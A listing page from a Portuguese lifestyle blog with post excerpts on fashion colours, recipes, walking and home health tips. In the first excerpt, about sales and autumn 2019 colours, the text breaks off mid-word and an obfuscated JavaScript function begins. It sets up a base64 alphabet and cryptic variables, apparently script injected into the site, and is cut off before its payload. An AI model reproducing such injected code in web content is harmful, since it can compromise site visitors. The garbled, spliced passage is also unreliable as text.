O que comprar em saldos? Saiba quais são as cores do outono 2019

Jun 22, 2019 | As cores da moda, Dicas úteis, Estilo e beleza, Teresa

O que comprar em saldos? Saiba quais são as cores do outono 2019     Os saldos já estão aí e a tentação é grfunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...

Como fazer Risotto de Camarão e Risotto de Courgettes

Jun 20, 2019 | Teresa

Como fazer Risotto de Camarão e Risotto de Courgettes Risotto de camarão com açafrão (para 2 pessoas)   Ingredientes 300 gramas de arroz para risotto (arbóreo) 100 gramas de manteiga 1 cebola pequena 1 alho 70 ml de vinho branco 200 gramas de camarão descascado 20 ml...

Sopa de beterraba: deliciosa, fantástica e saudável!

Jun 18, 2019 | Teresa

Sopa de beterraba: deliciosa, fantástica e saudável!   Gosta de beterraba? Alguns adoram-na, outros nem por isso, mas é considerada um super alimento cheia de benefícios para a saúde. Rica vitaminas e minerais como ácido fólico, vitamina A, vitamina B6, fibras,...

Quantas calorias queimamos numa caminhada?

Jun 16, 2019 | Estilo e beleza, perder peso, Saúde e bem estar, Teresa

Quantas calorias queimamos numa caminhada?   Andar a pé é dos melhores exercícios que podemos fazer. Melhora a circulação sanguínea, o comportamento cardiovascular e previne a osteoporose e outras doenças crónicas. Bastam 30 minutos por dia! E como se não bastasse...

5 alimentos amigos do seu fígado

Jun 12, 2019 | Teresa

5 alimentos amigos do seu fígado   Tudo o que comemos e bebemos passa pelo fígado. Como calcula ele é um dos órgãos mais importantes do nosso organismo. Mas temos que lhe dar uma ajuda na eliminação de todas as substâncias tóxicas que passam por ele. Uma das formas de...

Receita base para fazer Crepes deliciosos

Jun 10, 2019 | Faça você mesmo, Receitas, Teresa

Receita base para fazer Crepes deliciosos   Os americanos gostam de os comer ao pequeno-almoço de domingo, e fazem-no com diferentes tipos de recheio. Aprendi a fazer a receita base porque é super fácil, mas a sua originalidade está sempre no recheio, que pode ser tão...

3 molhos para temperar saladas

Jun 8, 2019 | Faça você mesmo, Receitas, Teresa

3 Molhos para temperar saladas   Estes três molhos, para temperar as saladas, são rápidos de preparar e pode guardá-los no frigorífico durante algumas semanas. Como sabe, as saladas, nesta altura do ano, têm tudo para agradar. Acompanham peixe ou carne e são também a...

6 Truques para aliviar a dor de garganta

Jun 6, 2019 | Dicas úteis, Saúde e bem estar, Teresa

6 Truques para aliviar a dor de garganta   As dores de garganta não têm estação do ano, nem hora, para aparecerem. A avó, a tia ou mesmo a mãe, tinham sempre soluções naturais que aliviavam a dor, mas muitas de nós já nos esquecemos delas. Claro que nenhuma destas...

As cores da moda para o Verão

Jun 4, 2019 | Dicas úteis, Estilo e beleza, Teresa

As cores da moda para o Verão Quer saber quais são as cores da moda, para este Verão? E como combiná-las e usá-las? Então continue a ler porque está na altura de guardar casacos, malhas e sapatos fechados. As novidades já estão há algum tempo nas lojas. Está na hora...

Bolo de cenoura e nozes, com cobertura de açúcar e limão

Jun 2, 2019 | Faça você mesmo, Receitas, Teresa

Bolo de cenoura e nozes, com cobertura de açúcar e limão   Já aqui falámos várias vezes das qualidades da cenoura e dos frutos secos, como as nozes. Também já não é a primeira vez que partilho uma receita de bolo de cenoura. Com nozes misturadas, acho que é novidade,...